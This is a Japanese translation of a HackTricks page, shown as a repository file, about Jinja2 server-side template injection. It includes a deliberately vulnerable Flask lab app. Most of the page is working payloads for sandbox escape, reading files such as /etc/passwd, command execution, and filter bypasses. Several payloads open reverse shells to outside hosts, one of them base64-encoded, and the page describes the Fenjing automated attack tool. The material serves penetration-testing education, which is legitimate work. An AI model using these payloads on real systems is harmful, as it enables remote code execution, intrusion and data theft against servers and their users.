hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md

344 lines
17 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Jinja2 SSTI
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}
## **ラボ**
```python
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
```
## **Misc**
### **デバッグステートメント**
Debug Extensionが有効になっている場合、現在のコンテキストや利用可能なフィルターとテストをダンプするための`debug`タグが利用可能になります。これは、デバッガを設定せずにテンプレートで使用できるものを確認するのに便利です。
```python
<pre>
{% raw %}
{% debug %}
{% endraw %}
</pre>
```
### **すべての設定変数をダンプする**
```python
{{ config }} #In these object you can find all the configured env variables
{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}
```
## **Jinja Injection**
まず第一に、Jinjaインジェクションでは、**サンドボックスから脱出する方法を見つける**必要があり、通常のPython実行フローにアクセスを回復する必要があります。そのためには、**サンドボックスからアクセス可能な非サンドボックス環境の**オブジェクトを**悪用する**必要があります。
### グローバルオブジェクトへのアクセス
例えば、コード`render_template("hello.html", username=username, email=email)`では、オブジェクトusernameとemailは**非サンドボックスのPython環境から来ており**、**サンドボックス環境内でアクセス可能**です。\
さらに、**サンドボックス環境から常にアクセス可能な**他のオブジェクトもあります。これらは:
```
[]
''
()
dict
config
request
```
### Recovering \<class 'object'>
次に、これらのオブジェクトから、定義された**クラス**を**回復**するために、**`<class 'object'>`**に到達する必要があります。これは、このオブジェクトから**`__subclasses__`**メソッドを呼び出し、**サンドボックス化されていない**python環境のすべてのクラスに**アクセス**できるためです。
その**オブジェクトクラス**にアクセスするには、**クラスオブジェクト**にアクセスし、次に**`__base__`**、**`__mro__()[-1]`**または**`mro()[-1]`**のいずれかにアクセスする必要があります。そして、**このオブジェクトクラス**に到達した後、**`__subclasses__()`**を**呼び出します**。
これらの例を確認してください:
```python
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class
# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
```
### RCE Escaping
**回復した** `<class 'object'>``__subclasses__` を呼び出したことで、ファイルを読み書きしたり、コードを実行したりするためにこれらのクラスを使用できるようになりました。
`__subclasses__` の呼び出しにより、**数百の新しい関数にアクセスする機会**が得られました。私たちは、**ファイルクラス**にアクセスして**ファイルを読み書きする**ことや、**コマンドを実行することを許可するクラス**(例えば `os`)にアクセスできるクラスを使用することで満足します。
**リモートファイルの読み書き**
```python
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
```
**RCE**
```python
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Without '{{' and '}}'
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}
## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
```
**より多くのクラス**を使用して**エスケープ**する方法については、**確認**できます:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
{% endcontent-ref %}
### フィルターバイパス
#### 一般的なバイパス
これらのバイパスは、**いくつかの文字**を使用せずにオブジェクトの**属性**に**アクセス**することを可能にします。\
以前の例でこれらのバイパスのいくつかをすでに見ましたが、ここで要約します:
```bash
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
# Using with
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}
```
* [**グローバルオブジェクトにアクセスするためのオプションはこちらに戻ってください**](jinja2-ssti.md#accessing-global-objects)
* [**オブジェクトクラスにアクセスするためのオプションはこちらに戻ってください**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
* [**オブジェクトクラスなしでRCEを取得するにはこれを読んでください**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
**HTMLエンコーディングの回避**
デフォルトでは、Flaskはセキュリティ上の理由からテンプレート内のすべてをHTMLエンコードします:
```python
{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;
```
**`safe`** フィルターを使用すると、ページにJavaScriptやHTMLを**HTMLエンコード**されることなく注入できます。次のように:
```python
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
```
**悪意のある設定ファイルを書いてRCEを実行する。**
```python
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
```
## いくつかの文字なし
Without **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
```python
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}
```
## Jinja Injection without **\<class 'object'>**
[**グローバルオブジェクト**](jinja2-ssti.md#accessing-global-objects)から、**そのクラスを使用せずにRCEに到達する**別の方法があります。\
これらのグローバルオブジェクトから**関数**にアクセスできれば、**`__globals__.__builtins__`**にアクセスでき、そこから**RCE**は非常に**簡単**です。
**`request`**、**`config`**、およびアクセス可能な**他の**興味深い**グローバルオブジェクト**から**関数**を見つけることができます。
```bash
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
# You can iterate through children objects to find more
```
一度いくつかの関数を見つけたら、次のようにしてビルトインを復元できます:
```python
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
# All the bypasses seen in the previous sections are also valid
```
### Fuzzing WAF bypass
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) は、CTFに特化したツールですが、実際のシナリオで無効なパラメータをブルートフォースするのにも役立ちます。このツールは、フィルターを検出するために単語やクエリをスプレーし、バイパスを探し、インタラクティブなコンソールも提供します。
```
webui:
As the name suggests, web UI
Default port 11451
scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'
crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
```
## 参考文献
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
* [ここでブラックリストに載っている文字をバイパスするためのattrトリックを確認してください](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}